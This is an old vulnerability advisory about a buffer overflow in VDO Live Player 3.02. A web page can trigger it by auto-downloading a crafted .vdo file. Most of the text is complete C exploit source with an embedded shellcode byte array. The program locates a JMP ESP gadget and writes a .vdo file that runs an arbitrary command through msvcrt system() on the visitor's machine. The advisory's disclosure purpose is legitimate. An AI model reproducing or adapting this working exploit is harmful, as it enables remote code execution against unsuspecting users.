COMMAND
VDO Live Player
SYSTEMS AFFECTED
VDO Live Player 3.02
PROBLEM
UNYUN found following. VDO Live Player overflows when that reads
the .vdo file that contains the long address. If VDO Live Player
is installed on the system and the setting of browser is default,
.vdo file is downloaded and executed without the confirmation.
So, if the clients visit the webpage which is written the
automatic download code of vdo file (such as META tag) that
contains the attack code, the client machine will be cracked by
the instructions which are written in vdo file.
The buffer which is specified by ESP is too small to put the
complex code, but the top line of the vdo file is stored at the
address of ecx+0x30, it is long enough to set the cracking code.
The following sample source code generates the .vdo file that
executes any commands on the visitors machine. (This code is
tested Japanese Windows98 only) This bug is presented under NT
section as VDO comes installed under IE5 without asking.
/*====================================================================
ex_vdolive.c / VDO Live Player 3.02 32bit exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
===================================================================
*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#define RETADR 90
#define CODE1_OFS 102
#define CODE2_OFS 10
#define MAXBUF1 180
#define MAXBUF2 1500
#define JMPESP_1 0xff
#define JMPESP_2 0xe4
#define NOP 0x90
#define KERNEL_NAME "kernel32.dll"
unsigned char exploit_jmping[100]={
0x33,0xDB,0x8B,0x41,0x30,0xB3,0xBB,0x03,
0xC3,0xFF,0xE0,0x00};
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";
unsigned int search_mem(unsigned char *st,unsigned char *ed,
unsigned char c1,unsigned char c2)
{
unsigned char *p;
unsigned int adr;
for (p=st;p<ed;p++)
if (*p==c1 && *(p+1)==c2){
adr=(unsigned int)p;
if ((adr&0xff)==0) continue;
if (((adr>>8)&0xff)==0) continue;
if (((adr>>16)&0xff)==0) continue;
if (((adr>>24)&0xff)==0) continue;
return(adr);
}
return(0);
}
main(int argc,char *argv[])
{
unsigned int i,kp,ip,p1,p2;
static unsigned char buf1[MAXBUF1],buf2[MAXBUF2],*q;
FILE *fp;
MEMORY_BASIC_INFORMATION meminfo;
if (argc<2){
printf("usage: %s FileName Command\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
for (i=0;i<meminfo.RegionSize;i++){
ip=kp+i;
if ( ( ip &0xff)==0
|| ((ip>>8 )&0xff)==0
|| ((ip>>16)&0xff)==0
|| ((ip>>24)&0xff)==0) continue;
q=(unsigned char *)ip;
if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break;
}
if (i==meminfo.RegionSize){
printf("Can not find codes which are used by this exploit.\n");
exit(1);
}
printf("RETADR : %x\n",ip);
memset(buf1,NOP,MAXBUF1-1);
memset(buf2,NOP,MAXBUF2-1);
buf1[RETADR ]=ip&0xff;
buf1[RETADR+1]=(ip>>8)&0xff;
buf1[RETADR+2]=(ip>>16)&0xff;
buf1[RETADR+3]=(ip>>24)&0xff;
strcat(cmdbuf,argv[2]);
strncpy(buf1+CODE1_OFS,exploit_jmping,strlen(exploit_jmping));
p1=(unsigned int)GetProcAddress((HMODULE)kp,"LoadLibraryA");
p2=(unsigned int)GetProcAddress((HMODULE)kp,"GetProcAddress");
printf("LoadLibrary Address : %x\n",p1);
printf("GetProcAddress Address : %x\n",p2);
strcat(exploit_code,cmdbuf);
exploit_code[0x0d]=p1&0xff;
exploit_code[0x0e]=(p1>>8)&0xff;
exploit_code[0x0f]=(p1>>16)&0xff;
exploit_code[0x10]=(p1>>24)&0xff;
exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
exploit_code[0x41]=strlen(argv[2]);
memcpy(buf2+CODE2_OFS,exploit_code,strlen(exploit_code));
strncpy(buf1,"vdo://",6);
buf1[MAXBUF1]=0;
buf2[MAXBUF2]=0;
if ((fp=fopen(argv[1],"w"))==NULL){
printf("Can not create '%s'\n",argv[1]);
exit(1);
}
fprintf(fp,"%s/%s\n",buf1,buf2);
printf("File '%s' is created.\n",argv[1]);
return FALSE;
}
SOLUTION
IEAK will help remove some components of IE. New version should
fix that.